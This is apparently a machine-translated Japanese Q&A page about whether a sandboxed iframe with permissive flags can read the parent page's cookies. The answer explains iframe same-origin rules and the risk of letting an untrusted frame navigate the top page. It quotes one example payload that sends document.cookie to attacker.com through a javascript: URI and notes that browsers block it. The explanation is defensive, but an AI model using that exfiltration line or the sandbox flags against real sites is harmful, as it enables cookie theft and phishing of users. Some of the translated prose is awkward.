web-dev-qa-db-ja.com

埋め込まれたiframeが親からのCookieを読み取れることを確認するにはどうすればよいですか?

セキュリティの目的で評価しているこのHTMLコードをサイトに配置しました。そのコードは本質的にこれです:

<iframe src="https://glenpierce.github.io/" sandbox=
"allow-scripts allow-same-Origin allow-top-navigation allow-forms allow-popups allow-pointer-lock allow-popups-to-escape-sandbox">
</iframe>

私の目的は、glenpierce.github.ioに書き込み、そのiframeの親のCookieを読み取り、コンソールに出力して、これらのフラグが設定されている場合、このiframeが親のCookieにアクセスできることを証明することです。これまでのところ、Chrome 65を使用してdocument.cookieまたはparent.document

これは安全ではなく、これらのフラグを許可しない理由が他にもあることは承知していますが、私は親のCookie(および/またはローカルストレージ)にアクセスできることを証明することに特に関心があります。

10
Glen Pierce

最初に注意すべきことは、iframeは(デフォルトでは)同じOriginの一部であるかのように動作しないことですそれらがなければiframe Origin(src属性内)と親Originが異なる場合、iframeはalways親からサンドボックス化されます。これにより、 window.parentオブジェクトのほとんどのプロパティにアクセスできないなどの制限。

sandbox属性を使用すると、same-Origin iframeにクロスオリジンiframes [1]と同じ種類の制限を設定できます。 sandboxの値は例外ですサンドボックス属性へであり、一般にiframeセキュリティモデルでは例外です。したがって、allow-same-Originしないクロスオリジンのiframeを、親ページと同じオリジンのように機能させます。同じオリジンのiframeに同じオリジンの処理をさせるだけですサンドボックス化されていない場合。親とiframeがクロスオリジンである場合、allow-same-Originまたはallow-top-navigationを使用しても問題は解決しません。


実際に同じであるiframeの場合andはサンドボックス化されていないか、allow-same-Originサンドボックス属性値を持っています。window.parent.document.cookieを使用すると、(HttpOnly) クッキー。

クロスオリジンで機能すると思われるアプローチの1つは、トップナビゲーションです。クロスオリジンのiframeでも、サンドボックス化されていない場合(またはサンドボックスにallow-top-navigationがある場合)、親のURLを設定できます(取得できません)。これで次のようなことができると思うかもしれません:parent.location.href="javascript:window.location.href='https://attacker.com/?cookie=' + document.cookie"成功すると、親ページのコンテキストでJavaScriptが実行され、そのページの(HttpOnly以外の)Cookieが流出します。

幸いなことに、ブラウザ開発者はその種のトリックに賢明です。 iframe(トップナビゲーションが許可されている)はトップページをさまざまな方向に向けることができますが、javascript: URIはその1つではありません。

もちろん、信頼できないiframeにトップナビゲーションを許可することは依然として危険です。スクリプトを挿入したり、Cookieを盗んだりすることはできません(XSSなどの注入の脆弱性がないわけではありません)が、同じコンテンツを表示しているが実際には同じようなURLにユーザーをナビゲートするなどの操作を実行できます。たとえばフィッシングサイト。

もちろん、これはCookieを漏出せず、単にCookieが読み取り可能であることを明らかにするだけですが、これはallow-top-navigationを悪用する方法です。


[1]そしていくつか。より極端な制限は、デフォルトのクロスオリジン制限よりも厳しいものです。つまり、クロスオリジンのiframeのサンドボックス化は必ずしも冗長ではありません。たとえば、クロスオリジンのiframeは、window.parentオブジェクトとやり取りしないほとんどのフォームのトップナビゲーションと実行スクリプトがデフォルトで許可されていますが、サンドボックスでブロックすることができます。

14
CBHacking